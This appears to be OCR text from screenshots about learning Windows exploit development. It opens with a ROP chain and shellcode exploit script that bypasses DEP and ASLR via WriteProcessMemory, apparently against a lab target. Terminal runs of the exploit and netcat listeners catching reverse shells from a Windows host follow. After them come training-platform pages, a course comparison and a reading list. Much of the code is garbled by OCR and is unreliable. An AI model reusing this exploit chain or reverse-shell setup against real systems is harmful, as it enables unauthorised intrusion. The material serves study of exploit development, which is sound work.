shellcode += b"\xd3\xb8\x90%x01\xB0\xBO\x29 wpm += b"A" * 8x18 rop += pack({"<L", (BxfffffIes))
shellcode += b"\x29\x88\x60%x08\xff\xd5\x50 - rop += pack("<L", (dllBase + Ox4a7b6)) # sub eax, ecx ; pop ebx ; ret
shellcode += b"%x50% x40 x50 X668 xea\xBF\xdf offset = bUA" * {276 - len(wpm)) rop += pack("<L", (8x42424242)) # junk into eb
shellcode += b"\xba'x05\x68\xcB\xab\x2d\xa? I o . S
shellcode += b"\xbb\xBIYxe6\ x6a%x18)x56Y%57 eip = pack("=L", (dl1Base + @x488d6)) # push esp ; pop esi ; ret rop += decodeShellcode(d11Base, pos, shellcode)
shellcode += b"\x61\afFixd5hx85\xc@ 74\ xbc # Patching LpBuffer
shellcode += b"\xec\xB84\xFE\ kb5 \ ka2 \ x56 \xff rop = pack(“=L", (dllBase + ©x296f)) # mov eax, esi ; pop esi ; ret # Align ESP with ROP Skeleton
shellcode += b"\x6d%x 574x57\x57 rop += pack("<L", (8x42424242)) # junk into esi skeletonOffset = (-(pos[len(pos) - 1] + OxG2T)) & GxFFffffff
shellcode += b"%x5 BE\RCT\dd rop += pack({"=<L", (dl1Base + 0x117c}) # pop ecx ; ret rop += pack("<L", (dllBase + Ox1l7c)) # pop ecx ; ret
shellcode += b\ xadix rop += pack({"=L", (BxB88888888)) rop += pack("=L", (skeletonDffset)) # dynamic offset

P rop += pack{"<L", (dl1Base + Ox1d0f@)) # add eax, ecx ; ret rop += pack{"<L", (dllBase + 8x1d@f@)) #& add eax, ecx ; ret
shellcode += b \.xsExf.ﬁl-gl-. ) rop += pack({"<L", (dllBase + 8x117c)) # pop ecx ; ret rop += pack({"<L", (dllBase + 8x5b415}) # xchg eax, esp ; ret
SEEHEDSE += 0" \,xr3 E-; .Xf;'x:-! 3-3 " rop += pack("<L", (8x77777d78)) ’ ' ’
shellcode += b"\x68%x08% b5 xa2" rop += pack("<L", (dllBase + 6x1d0f®8)) # add eax, ecx ; ret - * .
shellcode 4= b"\x56\x68) BB\ XTcC" orfsets = bt * (X600 - Len(rop))
shellcode += b\ xBa'\ xE6 T54x05\ bbb\ xd T\ x 13\ T2\ x6T" rop += pack{"<L", (dl1Base + Ox8876d)) # mov ecx, eax ; mov eax, esi ; pop esi ; retn Gx8010 : _ -
hellcode 4o D"\:XGE"LI \x53\ \xd5" rop += pack{"<L". (Bx42424242)) # junk inta esi padding = b0 (Bx1068 - 276 - 4 - len{rop) - lem{offset2) - len(encodedShellcode))

:3: +; ::Et:..:t : :31133352;2?T4B§B§Lik ﬁugoge:agxiﬂret chain = offset + wpm + eip + rop + offset2 + encodedShellcode + padding
pos = mapBadChars(shellcode) . . rop 4= packi’<L", (0x42424242)) # junk for ret @x18
#print (" [+] Found bad chars at positions: {[hex(x) for x in pos]}") rop += pack{"=L", (8x42424242)) # junk for ret 8x1@ formatString = b"File: %s From: %d To: %d ChunkLoc: %d Fileloc: Rd" % (chain, ©, 8, 8, 8)
encodedShellcode = encodeShellcode (shellcode) rop += pack{"=L", (8x42424242)) # junk for ret 8x1@ buf += format5tring
#print("[+] Original shellcode first few bytes:", shellcode[:18]) rop += pack("<L", (@xfffffled)) & pop into eax
#print (" [+] Encoded shellcode first few bytes:”, encodedShellcode[:18]) rop += pack("<L", (dl1Base + 8x1d@f@)) # add eax, ecx ; ret # Checksum
rop += pack{"=L", (dl1Base + @8x1fd8)) # mov [eax], ecx ; ret buf = pack({"=1", len{buf) - 4) + buf
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~/workshops/be101

aslra.py
Leaked function address is at: 0x33dlie0
libeay32IBM019Base base address is at: 0x33d0000
Bad chars provided: 0x0, 0x9, 0xa, O0xc, Oxd, 0x20
Second byte is clean: 0x3d
Found clean base address after 1 attempts!
WriteProcessMemory address: 0x76fc2890
Exploit sent!
Exploit completed!

)-[~/workshops/be101
python3 aslr4.py
Leaked function address is at: 0x31614e0®
libeay32IBM0@19Base base address is at: 0x3160000
Bad chars provided: 0x@, 0x9, 0xa, @0xc, 0xd, 0x20
Second byte is clean: 0x16
Found clean base address after 1 attempts!
WriteProcessMemory address: 0x76fc2890
Exploit sent!
Exploit completed!

python3 aslr&.py

Leaked function address is at: 0x31314e0
libeay321BM019Base base address is at: 0x3130000
Bad chars provided: 0x0, 0x9, 0Oxa, Oxc, Oxd, 0x20
Second byte is clean: 0x13

Found clean base address after 1 attempts!
WriteProcessMemory address: 0x76fc2890

Exploit sent!

Exploit completed!

[:—( )-[~/workshops/be101]

nc -nlvp 443

listening on [any] 443 ...

connect to [192.168.45.167] from (UNKNOWN) [192.168.232.10] 52957
Microsoft Windows [Version 10.0.16299.15]

(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>]]

~/workshops/bel101
443
listening on [any] 443 ...
connect to [192.168.45.167] from (UNKNOWN) [192.168.232.10] 52966
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32> |

443
listening on [any] 443 ...
connect to [192.168.45.167] from (UNKNOWN) [192.168.232.10] 52970
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32 |
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p-nlcollege | T Dojos [J Workspace ? Help % Chat Q Search &+ Register #) Login a

RET2 WarGames
EXP-301: Windows User Starting at

Mode EXplOit Deve|opment $1'749 Our industry-leading platform is the most effective solution for

learning modern binary exploitation through a world-class curriculum
Level o | 840h of content developed by RET2. Acquire the skills necessary to perform
independent vulnerability research.

pwnlcollege

Learn to Hack!

v Learn advanced exploit development techniques, including reverse
engineering, writing shellcode, and bypassing modern mitigations

~ [Earn the OffSec Exploit Developer (OSED) certification "/: Try Demo Purchase 4 SO W volve eicing doun ibe o dobe, Srnita.

orks. That terminal cursor blinking above’ | be mpanion through

NSRS . and, eventually, make perfect.

jojo has its his platform Is maintained by an of hackers at Arizona State University. It

Stan tl'all'lll'lg Certlfy your team F much of A ors curriculum, and is open, for free, to participation for interested people around the

—————— {} C Fundamentals + Modern Binary Exploitation - CSCI 4968

This repository contains the materials as developed and used by to teach Modern Binary Exploitation at
in Spring 2015. This was a university course developed and run solely by students to

Reverse El'lg ineerin g + teach skills in vulnerability research, reverse engineering, and binary exploitation.
Stack Buffer Overflows

Memory Corruption
Exploiting SEH Overflows

Shellcoding

Intro to IDA Pro .
Stack Cookies

Overcoming Space Restrictions Return Oriented Programming

Shellcode from Scratch |0T Mission

Address Space Layout Randomization
Reverse-Engineering Bugs

Heap Exploitation
® Stack Overflows and DEP/ASLR Bypass

Miscellaneous Bug Classes
® Format String Specifier Attacks .
Race Conditions

® Custom ROP Chains and ROP Payload Decoders Infiltration Mission
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Vendor | Offensive Security ~ Ret2 Systems SANS | Corelan

OSED  OSEE  Foundations 660 | 76D  Boolcamp  Advanced

All information is based on what can be infered from the publically available course syllabi at the time of writting.
Disclaimer As such, there are certainly topics that may be covered but not explictly mentioned.
Read the course descriptions yourself for a better understand of what is covered.

‘Shelicoding

Race Condifion
Exploitation Techniques

Saved-Ret Overwrite

SEH Owerwrile (Win32 Only)
Return-Oriented-Programming
Stack Pivoting

Heap Graoming

Data Attacks

Primitive Chaining

Object Crafiing
Allocator Exploit Techniques

Vulnerability Research

Browser/JS Engine Intemals.
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Books:

* Hacking: The Art of Exploitation (2nd Edition)

* The Shellcoder's Handbook (2nd Edition)

* Gray Hat Hacking: The Ethical Hacker's Handbook (6th Edition)
* From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research
* A Guide to Kernel Exploitation: Attacking the Core

* The Art of Software Security Assessment

* Blue Fox: Arm Assembly Internals and Reverse Engineering

* Practical Binary Analysis

* Rootkits: Subverting the Windows Kernel

* Heap Exploitation (Dhaval Kapil)

* A Noob's Guide To ARM Exploitation
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